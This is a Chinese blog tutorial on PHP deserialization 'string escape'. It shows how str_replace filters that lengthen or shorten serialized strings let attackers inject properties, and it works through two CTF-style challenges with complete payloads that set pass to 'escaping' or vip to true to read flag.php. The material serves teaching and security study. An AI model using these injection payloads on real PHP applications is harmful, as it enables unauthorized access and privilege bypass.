概念

在学PHP字符串逃逸之前先了解一下原理是什么,字符串逃逸的原理其实就是让字符串变成可以执行的序列化代码。在序列化和反序列化这个中间过程中,当序列化一个字符串之后,它的成员变量属性值的字符串长度是不变的,所以我们可以通过str_replace()或者手动替换的方式对这一串字符串进行增加或者减少,序列化字符增加或减少后,再去反序列化则会吐出或者减少相应的字符串值,可能会发生属性逃逸。

学习字符串逃逸前需要补充的知识

正确的反序列化案例

<?php
class A
{
    var $v1 = "a";
    var $v2 = "dazhuang";
}

echo serialize(new A()),'<br>';
$b = 'O:1:"A":2:{s:2:"v1";s:2:"as";s:2:"v3";s:3:"ben";}';
var_dump(unserialize($b));

结果

如果反序列化的字符串中字符串的长度或者成员属性的数量不一致的话,则反序列化肯定会失败的

例如:

错误的反序列化案例

成员属性数量不一致导致反序列化失败

实际A这个类的成员属性有2个v1v2,但是此处个数是3,所以反序列化肯定失败

成员属性中字符串长度不一致导致反序列化失败

v3的属性值是字符串ben,长度是3,但是这里写的是4,则反序列化失败

注意点1

1、这里A类中没有v3这个变量,但是我在反序列化的时候定义了,也就是说v1v3是通过反序列化定义到类中的,而v2是类里面已经定义的了。

<?php
class A
{
    var $v1 = "a";
    var $v2 = "dazhuang";
}

echo serialize(new A()),'<br>';
$b = 'O:1:"A":2:{s:2:"v1";s:2:"aa";s:2:"v3";s:5:"b;}en";};s:2:"v2";N;';
var_dump(unserialize($b));

看一下运行结果,在A类中v1v2是类中定义好的,并且已经赋值了,但是我在反序列化一串字符串的时候,我重新对这两个变量进行定义了,所以反序列化的结果是以反序列化的值为准,v1的值aa是反序列化值中的,并不是类中的,但是v2我在反序列化的时候并没有定义,所以这里的v2是类中定义好的,没有任何影响,v3的值也是我在反序列化值中定义的值;因此可以得到结论

反序列化过程中,如果没有对类中原有的成员属性进行反序列化值的定义,那么则会默认读取类中的成员属性的值(不会影响逃逸),如果在反序列化过程中,对类中成员属性进行了修改,那么最终的值是以反序列化过程中对成员属性定义的值。

简单总结一下

成员变量的值和值只与反序列化过程中对成员属性定义的值有关,与类中的值无关。

注意点2

在字符串没有问题的情况下(成员属性数量一致,成员属性名称长度一致,内容长度一致),;}是反序列化结束符,后面的字符串不影响反序列化结果,相当于被省略了

<?php
class A
{
    var $v1 = "a";
    var $v2 = "dazhuang";
}

echo serialize(new A()),'<br>';
$b = 'O:1:"A":2:{s:2:"v1";s:2:"aa";s:2:"v3";s:5:"b;}en";};s:2:"v2";N;';
var_dump(unserialize($b));

此时运行结果中的b;}en则是反序列化中定义的成员属性v3的值,;}不影响反序列化的结果,也不是结束符。

字符串逃逸减少——属性逃逸

一般数据线经过一次serialize在经过一次unserialize,在这过程中反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸

字符串逃逸减少就是把有效代码吃掉,变成字符串,在第二个字符串构造代码(第二个成员属性中构造),在前面加上对应个数的字符串与第一个替换后的字符串拼接达到序列化后的原始长度,然后在后面构造自己想要逃逸出去的属性再进行一次反序列化

这串代码在运行的时候,到反序列化那一步肯定是失败的,我们可以看一下运行过程

当执行str_replace在对字符串进行替换操作账号,v1的属性就从abcsystem()system()system()变成了abc,在反序列化过程中,成员属性的值被转换成字符串后长度不一致,abc长度是3,但是s:27是27个长度,所以这一步运行肯定是false

因此我们可以靠这个特性来吃掉一些字符串,来达到逃逸效果,让后面的字符串变成功能性代码;

因此我们可以这样构造,让字符串中

<?php
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '1234567";s:2:"v3";s:3:"123";}';

}

原来的序列化字符串:O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}

构造后的序列化字符串:O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";123}";}

注意:

这里7"这个双引号不能被吃掉,因为他要和前面的闭合,把红色的部分变成字符串,让后面的成员属性v3逃逸出来

如何判断构造多少吞掉的字符才能达到属性逃逸

如果我们不知道该在第二个字符串中构造多少字符,可以这样进行判断

<?php
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '";s:2:"v3";s:3:"123";}';    //我想逃逸的属性";s:2:"v3";s:3:"123";}

}
$data = serialize(new A());
$data = str_replace("system()","",$data);
echo $data;

看一下替换后的序列化结果

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:22:"";s:2:"v3";s:3:"123";}";}

v1中有27个字符,那么就看v1到我想逃逸出的v3到底差多少个字符,吞掉且能逃逸成功

abc";s:2:"v2";s:22:"有20个字符,那么我在后面补上7个字符就可以了,而且恰好是在v2的属性值里

于是构造以下payload,即可逃逸成功

<?php
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '1234567";s:2:"v3";s:3:"123";}';    //我想逃逸的属性";s:2:"v3";s:3:"123";}

}
$data = serialize(new A());
$data = str_replace("system()","",$data);
echo $data;

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:22:"1234567";s:2:"v3";s:3:"123";}

吃掉的内容是abc";s:2:"v2";s:21:"1234567

这里v2中的值要与前面的字符串相加达到27个字符,然后在构造的过程中逃逸出一个v3属性,值是1234

看运行结果中,v1的属性值是27个字符,v2是类中我们定义的属性,不影响总体构造,v3本来是v2的属性值,是一串字符串的,但通过字符串逃逸使v3变成了功能性代码

字符串增多

<?php

class A{
    public $v1 = 'lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"123";}';
     //我要逃逸的属性";s:2:"v3";s:3:"123";} 22位
    public $v2 = '321';

}

$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data));
?>

<br/>

解释一下这个过程

当我们序列化这个对象A之后,通过替换v1属性值lspwd来增加字符数,然后构造我们想逃逸出来的成员属性到v1的属性值里面,我这里想逃逸出v3,属性值是123,通过计算";s:2:"v3";s:3:"123";}一共有22个字符,一个ls替换成pwd会多出一个字符,那么需要22个ls才可以吐出我构造的成员属性,所以我们构造的payload是

PS:这里特别说明一下为什么要吐出这个双引号,因为双引号要起到闭合s:66:"这个双引号的作用,如果被当做字符串没吐出来则不能发挥闭合作用,那么反序列化就会失败,

在字符串减少的情况下为什么不能吃掉这个",因为都是要起到闭合的作用,如果被吃掉了则变成字符串起不到闭合作用,反序列化就会失败

吞掉:把功能性代码变成字符串,让后面的字符串变成功能性代码

吐出:把逃逸出来的字符串变成功能性代码

<?php

class A{
    public $v1 = 'lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"123";}';
    //我要逃逸的属性";s:2:"v3";s:3:"123";} 22位
    public $v2 = '321'; 

}

序列化的值:O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"123";}";s:2:"v2";s:3:"123";}

替换后的值:O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"123";}";s:2:"v2";s:3:"123";}

运行结果:

v3属性值是123则逃逸出来了

字符串逃逸增加例题

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

首先解释一下核心代码部分:

new test($param)之后,则会调用__construct()方法,把$param传参进来的值传入test类中,值赋值给$user,在反序列化的过程中会替换$param中存在的flag,php,若存在则替换成hack,如果test类中的pass=escaping,则会把flag写入当前文件中。

解题步骤:

一:字符串过滤后减少还是增多

二:构造出关键成员属性序列化字符串

三:增多则判断一次吐出来多少个字符

第一步:$param中存在的flag,php,若存在则替换成hack,flag替换成hack肯定没有什么效果,长度都一样,所以我们可以替换php,每次php被替换成hack都会吐出1个字符,我们想要的效果就是让test类中的pass=escaping,

<?php
class test{
    var $user='a';
    var $pass='escaping';
    }
echo serialize(new test());

序列化值:O:4:"test":2:{s:4:"user";s:1:"a";s:4:"pass";s:8:"escaping";}

吐出的值:";s:4:"pass";s:8:"escaping";} 一共是29个字符,所以我们需要29个php来吐出我们想要构造的属性,

<?php
class test{
    var $user='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
    var $pass='daydream';
    }
    $data=serialize(new test());
echo serialize(new test());
$data =str_replace("php","hack",$data);
echo $data;
var_dump(unserialize($data));

构造:phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

查看结果,成功逃逸出成员属性$pass值是escaping

提交得到flag

字符串逃逸减少例题(吞)

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

payload

class test{
    var $user="aaa";
    var $pass='bbb';
    var $vip = false;
}
<?php
class test{
    var $user="flagflagflagflagflagflagflagflagflagflag";
    var $pass='1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';
    var $vip = false ;
}
$a = new test();
$b = serialize($a);
//echo $b;
$b =str_replace('flag',"hk",$b);
echo $b;
var_dump(unserialize($b));
?>

分析:因为无法直接对vip进行操作,题目中反序列化的对象是user,所以在pass中构造参数,用来逃逸出vip->true;

第一步:构造";s:3:"vip";b:1;}

第二步:在";s:3:"vip";b:1;}前面加上pass属性,并赋予给pass,不然再次反序列化的话属性个数不对,";s:4:"pass";s:42:"构造完之后一共19个字符,

为了防止吃掉后面的双引号,加一个1

第三步:再次反序列化

最后修改:2022 年 12 月 23 日
如果觉得我的文章对你有用,请随意赞赏